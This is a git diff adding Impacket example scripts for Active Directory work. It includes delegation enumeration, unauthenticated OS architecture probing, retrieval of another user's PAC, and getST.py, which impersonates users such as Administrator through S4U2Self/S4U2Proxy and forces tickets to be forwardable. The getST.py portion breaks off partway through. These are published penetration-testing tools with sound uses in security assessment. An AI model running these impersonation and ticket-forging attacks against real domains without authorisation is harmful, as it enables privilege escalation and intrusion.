+                                                     'pwdLastSet', 'userAccountControl', 'objectCategory',
+                                                     'msDS-AllowedToActOnBehalfOfOtherIdentity', 'msDS-AllowedToDelegateTo'],
+                                         sizeLimit=999)
+        except ldap.LDAPSearchError as e:
+            if e.getErrorString().find('sizeLimitExceeded') >= 0:
+                logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
+                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
+                # paged queries
+                resp = e.getAnswers()
+                pass
+            else:
+                raise
+
+        answers = []
+        logging.debug('Total of records returned %d' % len(resp))
+        
+        for item in resp:
+            if isinstance(item, ldapasn1.SearchResultEntry) is not True:
+                continue
+            mustCommit = False
+            sAMAccountName =  ''
+            userAccountControl = 0
+            delegation = ''
+            objectType = ''
+            rightsTo = []
+            protocolTransition = 0
+
+            #after receiving responses we parse through to determine the type of delegation configured on each object
+            try:
+                for attribute in item['attributes']:
+                    if str(attribute['type']) == 'sAMAccountName':
+                        sAMAccountName = str(attribute['vals'][0])
+                        mustCommit = True
+                    elif str(attribute['type']) == 'userAccountControl':
+                        userAccountControl = str(attribute['vals'][0])
+                        if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:
+                            delegation = 'Unconstrained'
+                            rightsTo.append("N/A")
+                        elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
+                            delegation = 'Constrained w/ Protocol Transition'
+                            protocolTransition = 1
+                    elif str(attribute['type']) == 'objectCategory':
+                        objectType = str(attribute['vals'][0]).split('=')[1].split(',')[0]
+                    elif str(attribute['type']) == 'msDS-AllowedToDelegateTo':
+                        if protocolTransition == 0:
+                            delegation = 'Constrained'
+                        for delegRights in attribute['vals']:
+                            rightsTo.append(str(delegRights))
+             
+                    #not an elif as an object could both have rbcd and another type of delegation configured for the same object
+                    if str(attribute['type']) == 'msDS-AllowedToActOnBehalfOfOtherIdentity':
+                        rbcdRights = []
+                        rbcdObjType = []
+                        searchFilter = '(&(|'
+                        sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(attribute['vals'][0]))
+                        for ace in sd['Dacl'].aces:
+                            searchFilter = searchFilter + "(objectSid="+ace['Ace']['Sid'].formatCanonical()+")"
+                        searchFilter = searchFilter + ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))"
+                        delegUserResp = ldapConnection.search(searchFilter=searchFilter,attributes=['sAMAccountName', 'objectCategory'],sizeLimit=999)
+                        for item2 in delegUserResp:
+                            if isinstance(item2, ldapasn1.SearchResultEntry) is not True:
+                                continue
+                            rbcdRights.append(str(item2['attributes'][0]['vals'][0]))
+                            rbcdObjType.append(str(item2['attributes'][1]['vals'][0]).split('=')[1].split(',')[0])
+							
+                        if mustCommit is True:
+                            if int(userAccountControl) & UF_ACCOUNTDISABLE:
+                                logging.debug('Bypassing disabled account %s ' % sAMAccountName)
+                            else:
+                                for rights, objType in zip(rbcdRights,rbcdObjType):
+                                    answers.append([rights, objType, 'Resource-Based Constrained', sAMAccountName])
+                        
+                #print unconstrained + constrained delegation relationships
+                if delegation in ['Unconstrained', 'Constrained', 'Constrained w/ Protocol Transition']:
+                    if mustCommit is True:
+                            if int(userAccountControl) & UF_ACCOUNTDISABLE:
+                                logging.debug('Bypassing disabled account %s ' % sAMAccountName)
+                            else:
+                                for rights in rightsTo:
+                                    answers.append([sAMAccountName, objectType, delegation, rights])
+            except Exception as e:
+                logging.error('Skipping item, cannot process due to error %s' % str(e))
+                pass
+
+        if len(answers)>0:
+            self.printTable(answers, header=[ "AccountName", "AccountType", "DelegationType", "DelegationRightsTo"])
+            print('\n\n')
+        else:
+            print("No entries found!")
+
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for delegation relationships ")
+
+    parser.add_argument('target', action='store', help='domain[/username[:password]]')
+    parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. '
+                                                               'Allows for retrieving delegation info across trusts.')
+
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    group = parser.add_argument_group('authentication')
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '
+                                                       'cannot be found, it will use the ones specified in the command '
+                                                       'line')
+    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+
+    group = parser.add_argument_group('connection')
+    group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If '
+                                                                              'ommited it use the domain part (FQDN) '
+                                                                              'specified in the target parameter. Ignored'
+                                                                              'if -target-domain is specified.')
+    group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. '
+                                                                              'If ommited, the domain part (FQDN) '
+                                                                              'specified in the account parameter will be used')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    userDomain, username, password = parse_credentials(options.target)
+
+    if userDomain == '':
+        logging.critical('userDomain should be specified!')
+        sys.exit(1)
+
+    if options.target_domain:
+        targetDomain = options.target_domain
+    else:
+        targetDomain = userDomain
+
+    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    if options.aesKey is not None:
+        options.k = True
+
+    try:
+        executer = FindDelegation(username, password, userDomain, targetDomain, options)
+        executer.run()
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        logging.error(str(e))
diff --git a/examples/getArch.py b/examples/getArch.py
new file mode 100644
index 0000000..9f0ddeb
--- /dev/null
+++ b/examples/getArch.py
@@ -0,0 +1,117 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   This script will connect against a target (or list of targets) machine/s and gather the OS architecture type
+#   installed.
+#   The trick has been discovered many years ago and is actually documented by Microsoft here:
+#     https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53
+#   and doesn't require any authentication at all.
+#
+#   Have in mind this trick will *not* work if the target system is running Samba. Don't know what happens with macOS.
+#
+# Author:
+#   beto (@agsolino)
+#
+# Reference for:
+#   RPCRT, NDR
+#
+
+from __future__ import division
+from __future__ import print_function
+import argparse
+import logging
+import sys
+
+from impacket import version
+from impacket.examples import logger
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5.transport import DCERPCTransportFactory
+from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
+
+
+class TARGETARCH:
+    def __init__(self, options):
+        self.__machinesList = list()
+        self.__options = options
+        self.NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
+
+    def run(self):
+        if self.__options.targets is not None:
+            for line in self.__options.targets.readlines():
+                self.__machinesList.append(line.strip(' \r\n'))
+        else:
+            self.__machinesList.append(self.__options.target)
+
+        logging.info('Gathering OS architecture for %d machines' % len(self.__machinesList))
+        logging.info('Socket connect timeout set to %s secs' % self.__options.timeout)
+
+        for machine in self.__machinesList:
+            try:
+                stringBinding = r'ncacn_ip_tcp:%s[135]' % machine
+                transport = DCERPCTransportFactory(stringBinding)
+                transport.set_connect_timeout(int(self.__options.timeout))
+                dce = transport.get_dce_rpc()
+                dce.connect()
+                try:
+                    dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=self.NDR64Syntax)
+                except DCERPCException as e:
+                    if str(e).find('syntaxes_not_supported') >= 0:
+                        print('%s is 32-bit' % machine)
+                    else:
+                        logging.error(str(e))
+                        pass
+                else:
+                    print('%s is 64-bit' % machine)
+
+                dce.disconnect()
+            except Exception as e:
+                #import traceback
+                #traceback.print_exc()
+                logging.error('%s: %s' % (machine, str(e)))
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    # Init the example's logger theme
+    logger.init()
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help = True, description = "Gets the target system's OS architecture version")
+    parser.add_argument('-target', action='store', help='<targetName or address>')
+    parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query Arch '
+                        'from (one per line). ')
+    parser.add_argument('-timeout', action='store', default='2', help='socket timeout out when connecting to the target (default 2 sec)')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    if options.target is None and options.targets is None:
+        logging.error('You have to specify a target!')
+        sys.exit(1)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    try:
+        getArch = TARGETARCH(options)
+        getArch.run()
+    except (Exception, KeyboardInterrupt) as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        logging.error(str(e))
+    sys.exit(0)
diff --git a/examples/getPac.py b/examples/getPac.py
new file mode 100644
index 0000000..1d2d532
--- /dev/null
+++ b/examples/getPac.py
@@ -0,0 +1,335 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   This script will get the PAC of the specified target user just having a normal authenticated user credentials.
+#   It does so by using a mix of [MS-SFU]'s S4USelf + User to User Kerberos Authentication.
+#   Original idea (or accidental discovery :) ) of adding U2U capabilities inside a S4USelf by Benjamin Delpy (@gentilkiwi)
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# References:
+#   - U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
+#   - [MS-SFU]: https://msdn.microsoft.com/en-us/library/cc246071.aspx
+#
+
+from __future__ import division
+from __future__ import print_function
+import argparse
+import datetime
+import logging
+import random
+import re
+import struct
+import sys
+from binascii import unhexlify
+from six import b
+
+from pyasn1.codec.der import decoder, encoder
+from pyasn1.type.univ import noValue
+
+from impacket import version
+from impacket.dcerpc.v5.rpcrt import TypeSerialization1
+from impacket.examples import logger
+from impacket.examples.utils import parse_credentials
+from impacket.krb5 import constants
+from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \
+    EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
+from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, Enctype
+from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive
+from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, \
+    PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO
+from impacket.krb5.types import Principal, KerberosTime, Ticket
+from impacket.winregistry import hexdump
+
+
+class S4U2SELF:
+
+    def printPac(self, data):
+        encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
+        adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[
+            0]
+        # So here we have the PAC
+        pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets())
+        buff = pacType['Buffers']
+
+        for bufferN in range(pacType['cBuffers']):
+            infoBuffer = PAC_INFO_BUFFER(buff)
+            data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']]
+            if logging.getLogger().level == logging.DEBUG:
+                print("TYPE 0x%x" % infoBuffer['ulType'])
+            if infoBuffer['ulType'] == 1:
+                type1 = TypeSerialization1(data)
+                # I'm skipping here 4 bytes with its the ReferentID for the pointer
+                newdata = data[len(type1)+4:]
+                kerbdata = KERB_VALIDATION_INFO()
+                kerbdata.fromString(newdata)
+                kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):])
+                kerbdata.dump()
+                print()
+                print('Domain SID:', kerbdata['LogonDomainId'].formatCanonical())
+                print()
+            elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE:
+                clientInfo = PAC_CLIENT_INFO(data)
+                if logging.getLogger().level == logging.DEBUG:
+                    clientInfo.dump()
+                    print()
+            elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM:
+                signatureData = PAC_SIGNATURE_DATA(data)
+                if logging.getLogger().level == logging.DEBUG:
+                    signatureData.dump()
+                    print()
+            elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM:
+                signatureData = PAC_SIGNATURE_DATA(data)
+                if logging.getLogger().level == logging.DEBUG:
+                    signatureData.dump()
+                    print()
+            elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO:
+                upn = UPN_DNS_INFO(data)
+                if logging.getLogger().level == logging.DEBUG:
+                    upn.dump()
+                    print(data[upn['DnsDomainNameOffset']:])
+                    print()
+            else:
+                hexdump(data)
+
+            if logging.getLogger().level == logging.DEBUG:
+                print("#"*80)
+
+            buff = buff[len(infoBuffer):]
+
+
+    def __init__(self, behalfUser, username = '', password = '', domain='', hashes = None):
+        self.__username = username
+        self.__password = password
+        self.__domain = domain.upper()
+        self.__behalfUser = behalfUser
+        self.__lmhash = ''
+        self.__nthash = ''
+        if hashes is not None:
+            self.__lmhash, self.__nthash = hashes.split(':')
+
+    def dump(self):
+        # Try all requested protocols until one works.
+
+        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+        tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
+                                                                unhexlify(self.__lmhash), unhexlify(self.__nthash))
+
+        decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
+
+        # Extract the ticket from the TGT
+        ticket = Ticket()
+        ticket.from_asn1(decodedTGT['ticket'])
+
+        apReq = AP_REQ()
+        apReq['pvno'] = 5
+        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
+
+        opts = list()
+        apReq['ap-options'] =  constants.encodeFlags(opts)
+        seq_set(apReq,'ticket', ticket.to_asn1)
+
+        authenticator = Authenticator()
+        authenticator['authenticator-vno'] = 5
+        authenticator['crealm'] = str(decodedTGT['crealm'])
+
+        clientName = Principal()
+        clientName.from_asn1( decodedTGT, 'crealm', 'cname')
+
+        seq_set(authenticator, 'cname', clientName.components_to_asn1)
+
+        now = datetime.datetime.utcnow()
+        authenticator['cusec'] = now.microsecond
+        authenticator['ctime'] = KerberosTime.to_asn1(now)
+
+        if logging.getLogger().level == logging.DEBUG:
+            logging.debug('AUTHENTICATOR')
+            print(authenticator.prettyPrint())
+            print ('\n')
+
+        encodedAuthenticator = encoder.encode(authenticator)
+
+        # Key Usage 7
+        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
+        # TGS authenticator subkey), encrypted with the TGS session
+        # key (Section 5.5.1)
+        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
+
+        apReq['authenticator'] = noValue
+        apReq['authenticator']['etype'] = cipher.enctype
+        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
+
+        encodedApReq = encoder.encode(apReq)
+
+        tgsReq = TGS_REQ()
+
+        tgsReq['pvno'] =  5
+        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
+
+        tgsReq['padata'] = noValue
+        tgsReq['padata'][0] = noValue
+        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
+        tgsReq['padata'][0]['padata-value'] = encodedApReq
+
+        # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
+        # requests a service ticket to itself on behalf of a user. The user is
+        # identified to the KDC by the user's name and realm.
+        clientName = Principal(self.__behalfUser, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+
+        S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value)
+        S4UByteArray += b(self.__behalfUser) + b(self.__domain) + b'Kerberos'
+
+        if logging.getLogger().level == logging.DEBUG:
+            logging.debug('S4UByteArray')
+            hexdump(S4UByteArray)
+
+        # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
+        # with the following three parameters: the session key of the TGT of
+        # the service performing the S4U2Self request, the message type value
+        # of 17, and the byte array S4UByteArray.
+        checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
+
+        if logging.getLogger().level == logging.DEBUG:
+            logging.debug('CheckSum')
+            hexdump(checkSum)
+
+        paForUserEnc = PA_FOR_USER_ENC()
+        seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
+        paForUserEnc['userRealm'] = self.__domain
+        paForUserEnc['cksum'] = noValue
+        paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
+        paForUserEnc['cksum']['checksum'] = checkSum
+        paForUserEnc['auth-package'] = 'Kerberos'
+
+        if logging.getLogger().level == logging.DEBUG:
+            logging.debug('PA_FOR_USER_ENC')
+            print(paForUserEnc.prettyPrint())
+
+        encodedPaForUserEnc = encoder.encode(paForUserEnc)
+
+        tgsReq['padata'][1] = noValue
+        tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
+        tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
+
+        reqBody = seq_set(tgsReq, 'req-body')
+
+        opts = list()
+        opts.append( constants.KDCOptions.forwardable.value )
+        opts.append( constants.KDCOptions.renewable.value )
+        opts.append( constants.KDCOptions.renewable_ok.value )
+        opts.append( constants.KDCOptions.canonicalize.value )
+        opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
+
+        reqBody['kdc-options'] = constants.encodeFlags(opts)
+
+        serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
+        #serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+
+        seq_set(reqBody, 'sname', serverName.components_to_asn1)
+        reqBody['realm'] = str(decodedTGT['crealm'])
+
+        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
+
+        reqBody['till'] = KerberosTime.to_asn1(now)
+        reqBody['nonce'] = random.getrandbits(31)
+        seq_set_iter(reqBody, 'etype',
+                      (int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value)))
+
+        # If you comment these two lines plus enc_tkt_in_skey as option, it is bassically a S4USelf
+        myTicket = ticket.to_asn1(TicketAsn1())
+        seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
+
+        if logging.getLogger().level == logging.DEBUG:
+            logging.debug('Final TGS')
+            print(tgsReq.prettyPrint())
+
+        message = encoder.encode(tgsReq)
+
+        r = sendReceive(message, self.__domain, None)
+
+        tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
+
+        if logging.getLogger().level == logging.DEBUG:
+            logging.debug('TGS_REP')
+            print(tgs.prettyPrint())
+
+        cipherText = tgs['ticket']['enc-part']['cipher']
+
+        # Key Usage 2
+        # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
+        #  application session key), encrypted with the service key
+        #  (section 5.4.2)
+
+        newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
+
+        # Pass the hash/aes key :P
+        if self.__nthash != '' and (isinstance(self.__nthash, bytes) and self.__nthash != b''):
+            key = Key(newCipher.enctype, unhexlify(self.__nthash))
+        else:
+            if newCipher.enctype == Enctype.RC4:
+                key = newCipher.string_to_key(password, '', None)
+            else:
+                key = newCipher.string_to_key(password, self.__domain.upper()+self.__username, None)
+
+        try:
+            # If is was plain U2U, this is the key
+            plainText = newCipher.decrypt(key, 2, str(cipherText))
+        except:
+            # S4USelf + U2U uses this other key
+            plainText = cipher.decrypt(sessionKey, 2, cipherText)
+
+        self.printPac(plainText)
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    logger.init()
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser()
+
+    parser.add_argument('credentials', action='store', help='domain/username[:password]. Valid domain credentials to use '
+                                                       'for grabbing targetUser\'s PAC')
+    parser.add_argument('-targetUser', action='store', required=True, help='the target user to retrieve the PAC of')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    domain, username, password = parse_credentials(options.credentials)
+
+    if domain is None:
+        domain = ''
+
+    if password == '' and username != '' and options.hashes is None:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    try:
+        dumper = S4U2SELF(options.targetUser, username, password, domain, options.hashes)
+        dumper.dump()
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        logging.error(str(e))
diff --git a/examples/getST.py b/examples/getST.py
new file mode 100644
index 0000000..9554a15
--- /dev/null
+++ b/examples/getST.py
@@ -0,0 +1,743 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache
+#   If the account has constrained delegation (with protocol transition) privileges you will be able to use
+#   the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to
+#   request the ticket.)
+#
+#   Similar feature has been implemented already by Benjamin Delpy (@gentilkiwi) in Kekeo (s4u)
+#
+#   Examples:
+#       ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user
+#   or
+#   If you have tickets cached (run klist to verify) the script will use them
+#         ./getST.py -k -spn cifs/contoso-dc contoso.com/user
+#   Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets
+#   by default.
+#
+#   Also, if the account is configured with constrained delegation (with protocol transition) you can request
+#   service tickets for other users, assuming the target SPN is allowed for delegation:
+#         ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user
+#
+#   The output of this script will be a service ticket for the Administrator user.
+#
+#   Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+from __future__ import division
+from __future__ import print_function
+import argparse
+import datetime
+import logging
+import os
+import random
+import struct
+import sys
+from binascii import hexlify, unhexlify
+from six import b
+
+from pyasn1.codec.der import decoder, encoder
+from pyasn1.type.univ import noValue
+
+from impacket import version
+from impacket.examples import logger
+from impacket.examples.utils import parse_credentials
+from impacket.krb5 import constants
+from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \
+    Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart
+from impacket.krb5.ccache import CCache
+from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype
+from impacket.krb5.constants import TicketFlags, encodeFlags
+from impacket.krb5.kerberosv5 import getKerberosTGS, getKerberosTGT, sendReceive
+from impacket.krb5.types import Principal, KerberosTime, Ticket
+from impacket.ntlm import compute_nthash
+from impacket.winregistry import hexdump
+
+
+class GETST:
+    def __init__(self, target, password, domain, options):
+        self.__password = password
+        self.__user = target
+        self.__domain = domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aesKey = options.aesKey
+        self.__options = options
+        self.__kdcHost = options.dc_ip
+        self.__force_forwardable = options.force_forwardable
+        self.__additional_ticket = options.additional_ticket
+        self.__saveFileName = None
+        if options.hashes is not None:
+            self.__lmhash, self.__nthash = options.hashes.split(':')
+
+    def saveTicket(self, ticket, sessionKey):
+        logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache'))
+        ccache = CCache()
+
+        ccache.fromTGS(ticket, sessionKey, sessionKey)
+        ccache.saveFile(self.__saveFileName + '.ccache')
+
+    def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path):
+        if not os.path.isfile(additional_ticket_path):
+            logging.error("Ticket %s doesn't exist" % additional_ticket_path)
+            exit(0)
+        else:
+            decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
+            logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path)
+            ccache = CCache.loadFile(additional_ticket_path)
+            principal = ccache.credentials[0].header['server'].prettyPrint()
+            creds = ccache.getCredential(principal.decode())
+            TGS = creds.toTGS(principal)
+
+            tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0]
+
+            if logging.getLogger().level == logging.DEBUG:
+                logging.debug('TGS_REP')
+                print(tgs.prettyPrint())
+
+            if self.__force_forwardable:
+                # Convert hashes to binary form, just in case we're receiving strings
+                if isinstance(nthash, str):
+                    try:
+                        nthash = unhexlify(nthash)
+                    except TypeError:
+                        pass
+                if isinstance(aesKey, str):
+                    try:
+                        aesKey = unhexlify(aesKey)
+                    except TypeError:
+                        pass
+
+                # Compute NTHash and AESKey if they're not provided in arguments
+                if self.__password != '' and self.__domain != '' and self.__user != '':
+                    if not nthash:
+                        nthash = compute_nthash(self.__password)
+                        if logging.getLogger().level == logging.DEBUG:
+                            logging.debug('NTHash')
+                            print(hexlify(nthash).decode())
+                    if not aesKey:
+                        salt = self.__domain.upper() + self.__user
+                        aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents
+                        if logging.getLogger().level == logging.DEBUG:
+                            logging.debug('AESKey')
+                            print(hexlify(aesKey).decode())
+
+                # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys
+                cipherText = tgs['ticket']['enc-part']['cipher']
+
+                # Check which cipher was used to encrypt the ticket. It's not always the same
+                # This determines which of our keys we should use for decryption/re-encryption
+                newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
+                if newCipher.enctype == Enctype.RC4:
+                    key = Key(newCipher.enctype, nthash)
+                else:
+                    key = Key(newCipher.enctype, aesKey)
+
+                # Decrypt and decode the ticket
+                # Key Usage 2
+                # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
+                #  application session key), encrypted with the service key
+                #  (section 5.4.2)
+                plainText = newCipher.decrypt(key, 2, cipherText)
+                encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
+
+                # Print the flags in the ticket before modification
+                logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags']))
+                logging.debug('\tService ticket from S4U2self is'
+                              + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+                              + ' forwardable')
+
+                # Customize flags the forwardable flag is the only one that really matters
+                logging.info('\tForcing the service ticket to be forwardable')
+                # convert to string of bits
+                flagBits = encTicketPart['flags'].asBinary()
+                # Set the forwardable flag. Awkward binary string insertion
+                flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:]
+                # Overwrite the value with the new bits
+                encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits)  # Update flags
+
+                logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags']))
+                logging.debug('\tService ticket now is'
+                              + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+                              + ' forwardable')
+
+                # Re-encode and re-encrypt the ticket
+                # Again, Key Usage 2
+                encodedEncTicketPart = encoder.encode(encTicketPart)
+                cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None)
+
+                # put it back in the TGS
+                tgs['ticket']['enc-part']['cipher'] = cipherText
+
+            ################################################################################
+            # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
+            # So here I have a ST for me.. I now want a ST for another service
+            # Extract the ticket from the TGT
+            ticketTGT = Ticket()
+            ticketTGT.from_asn1(decodedTGT['ticket'])
+
+            # Get the service ticket
+            ticket = Ticket()
+            ticket.from_asn1(tgs['ticket'])
+
+            apReq = AP_REQ()
+            apReq['pvno'] = 5
+            apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
+
+            opts = list()
+            apReq['ap-options'] = constants.encodeFlags(opts)
+            seq_set(apReq, 'ticket', ticketTGT.to_asn1)
+
+            authenticator = Authenticator()
+            authenticator['authenticator-vno'] = 5
+            authenticator['crealm'] = str(decodedTGT['crealm'])
+
+            clientName = Principal()
+            clientName.from_asn1(decodedTGT, 'crealm', 'cname')
+
